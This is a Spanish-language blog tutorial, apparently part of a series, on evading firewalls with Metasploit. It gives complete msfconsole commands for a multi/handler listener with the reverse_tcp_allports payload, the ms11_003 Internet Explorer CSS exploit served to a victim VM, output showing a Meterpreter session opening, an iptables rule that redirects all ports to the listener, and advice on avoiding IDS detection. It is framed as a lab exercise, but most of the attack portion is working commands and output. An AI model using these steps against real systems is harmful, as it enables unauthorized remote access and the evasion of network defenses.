Intentando evadir mecanismos y restricciones de Seguridad – Evadiendo Firewalls usando MetaSploit Framework – Parte V

Existen diferentes técnicas para el establecimiento de una conexión entre dos máquinas que se encuentran separadas y condicionadas por un firewall que evita que determinados puertos, protocolos y/o hosts puedan establecer conexiones, aunque se trata de un mecanismo bastante eficiente, en muchas ocasiones estas reglas no restringen absolutamente todo por diferentes razones, como por ejemplo, la necesidad de tener determinados puertos abiertos para realizar conexiones a un servicio externo, entre otras cosas. Esta situación es bastante frecuente en algunas organizaciones, donde alguna de las aplicaciones internas necesita acceso a un servicio externo y para este fin se debe dejar abierto uno o varios puertos. En este escenario se puede realizar un ataque de “fuerza bruta” en busca de una conexión pasando por el firewall, para este fin se utilizan los payload windows/*/reverse_tcp_allports que intentan capturar alguno de estos puertos abiertos e iniciar la transferencia del stage.

Este ataque lo que intenta hacer es probar «cada puerto» uno por uno en busca de una conexión (un puerto abierto) realizando un bucle simple que termina al momento de encontrar un puerto abierto. El uso de este tipo de ataque es sencillo, se basa en primera instancia en tener un Listener escuchando en puerto concreto con el fin de establecer la conexión, mientras que por otro lado se intenta explotar una vulnerabilidad utilizando el payload reverse_tcp_allports que intentará capturar un puerto de salida por donde establecer la conexión, una vez este es obtenido se intenta establecer la conexión por dicho puerto en ambos extremos, por este motivo, se hace necesario definir una regla de direccionamiento en la máquina del atacante para que envié esta conexión al Listener que se encuentra escuchando en el puerto destinado para ello. Es probable que suene un poco complejo, pero en realidad no lo es, se enseñan los pasos y las instrucciones ejecutadas para su correcto entendimiento, para esto partimos del supuesto de que se cuenta con una máquina virtual con un sistema windows:

1. Para probar el trafico saliente de la máquina virtual y como el firewall bloquea una conexión con meterpreter cuando el puerto de salida se ha bloqueado, se propone en primer lugar, desde la maquina virtual, dirigirse hacia la configuración del firewall y bloquear un puerto determinado (el puerto de salida en donde se realizará la conexión con Meterpreter, por ejemplo el 4444), luego desde la máquina del atacante explotar una vulnerabilidad de la máquina virtual y establecer el payload windows/meterpreter/reverse_tcp cuyo puerto será el 4444 (propiedad LPORT), como se podrá apreciar, la conexión es inevitablemente interrumpida por el firewall dado que el puerto de salida se encuentra bloqueado en la máquina virtual, la vulnerabilidad se ha explotado, sin embargo el stage no ha podido llegar a su destino (la máquina del atacante) dado que el firewall ha interrumpido la conexión por el puerto en donde se intentaba establecer la conexión, al final en la máquina del atacante se verá un error por Timeout en la conexión.

2. Una vez comprendido lo anterior, se procede a intentar mitigar esta situación, para esto, se utiliza en primer lugar el payload windows/meterpreter/reverse_tcp_allports con el exploit multi/handler escuchando el el puerto 4445, que será el puerto por el cual realmente establecerá la conexión.

msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports PAYLOAD => windows/meterpreter/reverse_tcp_allports msf exploit(handler) > set LHOST 192.168.1.34 LHOST => 192.168.1.34 msf exploit(handler) > set LPORT 4445 LPORT => 4445 msf exploit(handler) > exploit -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.34:4445 [*] Starting the payload handler…

3. Ahora, para este caso se utilizará el exploit ms11_003_ie_css_import que aprovecha una vulnerabilidad en navegadores IExplorer 6, 7 y 8, utilizando el payload reverse_tcp_allports con el LPORT=4444, este es precisamente el puerto saliente que se encuentra bloqueado en el firewall de la maquina virtual, sin embargo, en este caso, lo que ocurrirá será que el payload de Metasploit, detectará que la conexión no se puede establecer por dicho puerto desde la máquina objetivo, por lo tanto intentará con el siguiente (4445) si este puerto se encuentra abierto en el firewall, se establecerá la conexión por dicho puerto de salida, sin embargo, este puerto tiene que estar habilitado como puerto de entrada en la máquina del atacante que es justo lo que se ha hecho en el paso anterior ejecutando el exploit multi/handler con el puerto LPORT 4445. Por otro lado, es necesario definir la opción “DisablePayloadHandler” a true, para que el payload no se ejecute en la máquina remota en cada intento que se realiza en busca de un puerto saliente valido, esto es sumamente importante, principalmente para no hacer demasiado “ruido”, ya que en el caso de que exista un IDS instalado en la máquina objetivo, posiblemente detectará estos intentos de ejecución del Payload.

msf > use exploit/windows/browser/ms11_003_ie_css_importmsf exploit(ms11_003_ie_css_import) > set PAYLOAD windows/meterpreter/reverse_tcp_allports PAYLOAD => windows/meterpreter/reverse_tcp_allports msf exploit(ms11_003_ie_css_import) > set LHOST 192.168.1.34 LHOST => 192.168.1.34 msf exploit(ms11_003_ie_css_import) > set LPORT 4444 LPORT => 4444 msf exploit(ms11_003_ie_css_import) > set DisablePayloadHandler true DisablePayloadHandler => true msf exploit(ms11_003_ie_css_import) > set URIPATH / URIPATH => / msf exploit(ms11_003_ie_css_import) > exploit [*] Exploit running as background job. [*] Using URL: http://0.0.0.0:8080/ [*] Local IP: http://192.168.1.34:8080/ [*] Server started. msf exploit(ms11_003_ie_css_import) > jobs Jobs ==== Id Name — —- 0 Exploit: multi/handler 3 Exploit: windows/browser/ms11_003_ie_css_import

Como puede apreciarse, se encuentran dos jobs en ejecución, el primero corresponde al listener por el puerto 4445 y el segundo al exploit que se ejecutará contra la máquina virtual estableciendo como LPORT 4444 (puerto que se encuentra bloqueado en la máquina objetivo), una vez el exploit es activado en la máquina objetivo se produce la siguiente salida.

msf exploit(ms11_003_ie_css_import) >[*] 192.168.1.35:49266 Received request for «/» [*] 192.168.1.35:49266 Sending windows/browser/ms11_003_ie_css_import redirect [*] 192.168.1.35:49266 Received request for «/Qbuhf.html» [*] 192.168.1.35:49266 Sending windows/browser/ms11_003_ie_css_import HTML [*] 192.168.1.35:49266 Received request for «/generic-1306543250.dll» [*] 192.168.1.35:49266 Sending windows/browser/ms11_003_ie_css_import .NET DLL [*] 192.168.1.35:49267 Received request for «/\356\200\240\341\201\232\356\200\240\341\201\232\356\200\240\341\201\232\356\200\240\341\201\232» [*] 192.168.1.35:49267 Sending windows/browser/ms11_003_ie_css_import CSS [*] Sending stage (749056 bytes) to 192.168.1.35 [*] Meterpreter session 1 opened (192.168.1.34:4445 -> 192.168.1.35:49268) at Sat May 28 02:40:56 +0200 2011 sessions Active sessions =============== Id Type Information Connection — —- ———– ———- 1 meterpreter x86/win32 jdaanial-PC\jdaanial @ JDAANIAL-PC 192.168.1.34:4445 -> 192.168.1.35:49268

Ahora, la salida nos ha proporcionado una consola meterpreter valida, justo por el puerto 4445, dado que el puerto 4444 se encontraba bloqueado, el payload ha proseguido con el siguiente puerto y dado que se ha encontrado abierto en la máquina remota, se ha establecido la conexión por medio de dicho puerto, con esta técnica, es posible detectar agujeros y malas configuraciones en firewalls y evadir restricciones relacionadas con la conectividad.

IMPORTANTE:

QUE SENTIDO TIENE LO ANTERIOR, SI YA SABIA EL PUERTO QUE ESTABA ABIERTO DESDE UN PRINCIPIO?

En el ejemplo anterior, el puerto saliente bloqueado en la maquina objetivo ha sido el 4444 y se ha iniciado el listener en la maquina del atacante en el 4445, sin embargo, que hubiese pasado si el 4445 también hubiese estado bloqueado en la maquina objetivo? Simplemente no se hubiera podido obtener una conexión y por consiguiente una sesión meterpreter. Dado que en un entorno real, probablemente nos encontremos con que no sabremos que puertos pueden estar o no bloqueados, el enfoque de establecer un listener en un puerto arbitrario solamente nos da 1 probabilidad entre 65535 lo que desde luego, no tiene ningún sentido, por esta razón, es necesario que en la máquina del atacante se establezca una política de redirección que envíe cualquier petición desde la máquina objetivo, por cualquier puerto de entrada, hacia el puerto donde se ha establecido el listener (4445 en este caso), de esta forma, si el payload enviado a la máquina objetivo detecta que por ejemplo, el puerto de salida 60000 esta abierto en la máquina objetivo, intentará establecer una conexión, utilizando el puerto 60000 de entrada en la máquina del atacante, el filtro de redirección en la máquina del atacante, tomará todas las peticiones de la máquina objetivo sobre cualquier puerto de entrada de la máquina del atacante y la redireccionará al 4445, de esta forma, independiente del puerto de salida que se encuentre abierto en la maquina objetivo, la maquina del atacante siempre realizará una redirección hacia su puerto de entrada 4445.

Muy bien, esto como se consigue? En maquinas basadas en Linux, con una simple regla de iptables de redireccionamiento de paquetes TCP al puerto de entrada 4445, esta regla puede ser similar a la siguiente (siempre es dependiente y puede variar en función de la versión del kernel en la que se ejecute)

iptables -t nat -A PREROUTING -i eth0 -p tcp -m state –state NEW -d 192.168.1.35 -j DNAT –to 192.168.1.34:4445

NOTA: Aquí se asume que la IP 192.168.1.35 corresponde a la máquina virtual.

Con esta técnica, es posible realizar un “Bypass” de un firewall restrictivo. En próximas entradas, mas técnicas relacionadas con este tema.